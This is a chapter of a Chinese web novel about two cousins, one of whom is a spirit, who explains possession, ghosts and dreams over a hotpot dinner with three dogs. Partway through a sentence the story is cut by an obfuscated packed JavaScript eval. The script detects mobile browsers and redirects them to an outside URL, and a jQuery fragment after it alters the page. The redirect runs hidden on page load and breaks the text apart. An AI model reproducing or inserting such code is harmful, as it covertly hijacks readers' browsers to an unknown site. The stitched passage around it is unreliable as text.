43. 发疯的魂
作品:《一人俩魂仨狗》 快到家门口时,三小只已在车库门口伸着狗脑袋对她们叫唤着,尽管声音并不大,嗯嗯唧唧的,急切的小模样却格外讨喜,但显然雨水影响了三小只展现的热情,它们只能等两人进了车库后才迫不及待地攀上去。
明明才分开一个多小时,三小只就像是两三月未见。叶白驹一放下伞蹲下身,三小只就全都凑了上去,幸好叶白驹下盘稳,稳当当地接下了狗子们的所有热情,随后把它们全搂进怀里上下其手,互动一圈后再分别拍拍狗脑袋,见她起身了,三小只这才又转身对着王画画摇头罢尾,只是明显的没有对着叶白驹时那般失智。
于是,王画画也蹲下身伸开双手,感觉就像是一种入门仪式般,三小只也欢快地拱了拱王画画,等她也对它们搂搂背顺顺毛,拍拍它们的圆脑袋后,它们才像是完成了任务般,转头就跑出了车库回了客厅。
王画画刚冒出头的受宠若惊在狗子们毫不犹豫地离开时变得有些哭笑不得,本来看见表姐和三小只的亲昵互动,她还有些忧伤的感慨,小动物的生命时间毕竟与人类不同,可等自己与三小只也互动后,她的忧伤也就消散了,因为人与人的不同她此刻也在三小只身上体会到了。
晚餐时间,叶白榆已经全都摆盘上桌锅都热好了,他们吃的便是美食街那家生意很好的串串,在叶白驹她们回来之前,就有专门送餐人员把餐车推放在了车库,叶白榆就只是很轻松的搬运一下就好。而晚饭吃到一半时,叶白驹就换成了叶白榆,由叶白榆再与王画画续完剩下的菜品和锅底。
看到叶白榆饮食与常人无异,王画画还是特别好奇的,但她却先打量着周围,看完客厅看二楼,等视线转回来时就正好对上叶白榆的目光,对方似是也在等着她询问。
“白哥……”王画画琢磨着开口。
“嗯。”叶白榆应了一声,同时又为她添了好几串菜示意她边吃边聊。
“为什么没有看见白姐啊?”王画画觉得既然表哥现在是实体,那表姐不就是魂体吗?第一次见面时不清楚他们的状况,现在熟悉了,肯定是想了解的更清楚些。
叶白榆筷子一顿,寻思了一会儿便开口道:“我现在的状态,你可以理解成是另一种的‘鬼上身’。”
王画画表情一滞。
明亮的厨房,氤氲的美食香味,屋外淅淅沥沥的雨声早已换成了静凉舒适的晚风,三小只也吃饱喝足靠着脚边蜷缩在桌底,明明很温馨的环境画面,却因为三个字,让王画画觉得表哥叶白榆那姣好的面容都有些诡异了起来。
“怎么了,害怕鬼?”叶白榆边说着边把剩下的肉签菜签都放进了锅里,再把锅炉的温度上调。
王画画现在已经不怎么吃的下了,但也没放下筷子,帮着一起把锅里能取下的竹签先取出放一边,虽然没回答叶白榆的问题,但毫无顾忌的盯着叶白榆的举动,倒是看不出有什么害怕的情绪。
影视剧里的鬼有两类,一类与人无异有温情,一类恐怖害人有规律。
所以,就算叶白榆是鬼,那也肯定是属于第一类那种。
竹签差不多都取完了,叶白榆放下筷子,对上王画画的目光,黑白分明的眉眼中闪着盈盈笑意,他问道:“还记得我跟你说过的‘楼房’吗?”
王画画点点头,虽然她感触还不深,但也大概能理清其中的关系。
“阿姐之所以不能跟我一样以魂形出现,是因为她是主我是客,有客在,主人就不能离开她的‘家’。”
叶白榆用通俗易懂的比喻解释着,此时袅袅水汽随着逐渐翻腾的食物香味飘扬升起,气味又逐渐浓郁。
“但我跟阿姐却也不是普通的主与客。”
叶白榆话语刚落,半懂半懵的王画画就看着眼前白色的水蒸气升至半空时停滞了下来,聚在了一起,开始幻化出一栋楼房虚影,那正是他们现在所住的房子影像。
水蒸气的楼房虚影里还出现了两个彩色的小娃娃,一个眸浅一个眸深,且随着两个娃娃的动作,身体正逐渐长大。
“阿姐就是这栋房子的主人,而我虽然是客,却是从一无所有跟着阿姐一起长大,也就相当于是阿姐养大了我,而阿姐也允许她的房产证上有我的名字,所以我也有权限使用阿姐房子里的一切。”
看着由水蒸气演变出的小动画,王画画发亮的双眸中瞳孔逐渐放大,可没一会儿就出现了变故,楼里忽然只剩下了一人,而一个没有头发却背着个大包袱的灰色人影忽的就闯进了楼里。
叶白榆继续徐徐道:“真正的鬼上身,不论好坏,就相当于带着已有的资产强行霸占了别人家的房子,不仅可以把房子里的原主人囚禁,有能力的还会把房子里的原有物给替换掉。”
看见那个光头灰色人影把浅眸女孩和楼里原有的东西都锁进了一间房里,王画画瞳孔骤缩,背脊都有些发凉,她不禁出声惊疑道:“世上真的有鬼?!”
虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004436|194005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然她在这之前一直以为表哥叶白榆就是“鬼”,只是叫法不同,以为魂是学名,俗称还是鬼。
然,并不全是。
“‘鬼’是有的,但能上身又能侵占全部的是相当少的,因为很少有魂会真正放弃轮回或是转世去做‘鬼’的。”
袅袅水雾逐渐散开,锅里翻滚的肉片和蔬菜也已熟透,叶白榆把电锅炉关闭,沸腾很快平息,顿时厨房就显得格外安静。
“除非执念太深,‘鬼’是发疯的魂,犹如疯了的人。”
这一句话清朗明晰不带任何感情色彩,犹如一世旁白而已。虽然只是道出世间常态,可因为声音较为年轻,仿若世间万物也不过是沧海一粟尔尔,只是有些人有些魂,不愿看清不愿相信罢了。
王画画轻蹙眉头反复咀嚼着这句话,待再看向已经动筷埋头用餐的表哥叶白榆时,仿佛刚刚一派少年老成的样子只是个幻觉。一想到不论是人还是魂会因为某种执念而疯,顿时觉得可悲又可怜。对于疯了的人,虽然大多毫无道理可讲,可也有相对应的医学救治和管理,那“鬼”呢?也像影视剧里的那般,要么是化解执念让其重新投胎,要么就是直接消灭么……
“白哥。”王画画声音轻轻的,“人疯了有些还能治,那……鬼呢?”
叶白榆摇摇头,“这方面我遇到的少,所以了解的并不深,只知道很难,但也许会有特例。”
比如那条小黑蛇,虽然遇见时状态还算良好,但并不能保证会一直持续下去,除非能保持意识回归到原始地……
王画画突然觉得自己又有些饿了,仿佛脑中消化的不是这些信息而是胃里的食物。于是,她边洗耳恭听边又拿起筷子吃了几口,但也不忘继续追问:“那结局呢?鬼的结局。”
“结局?”叶白榆看王画画又食欲大动了,于是他便稍微停了筷子,喝了口茶饮才回道:“你知道人为什么会做一些光怪陆离的梦吗?”
王画画都不用思考,直接摇头。
“那就是‘鬼’消失后遗留下的破碎记忆。”叶白榆视线转向厨房外面的院子,几束光线忽的从虚空中落下,如透明的七彩锦缎,又如折射出来的水波流光溢彩,景象既诡异又美幻。
“看不见的光,光为什么是七色的,七情和七魄为什么也是七色的,世间的万事万物为什么都有自己的色彩,颜色究竟代表了什么,梦境里为什么会有与自己无关的影像,大概想一想,答案就在那里。”

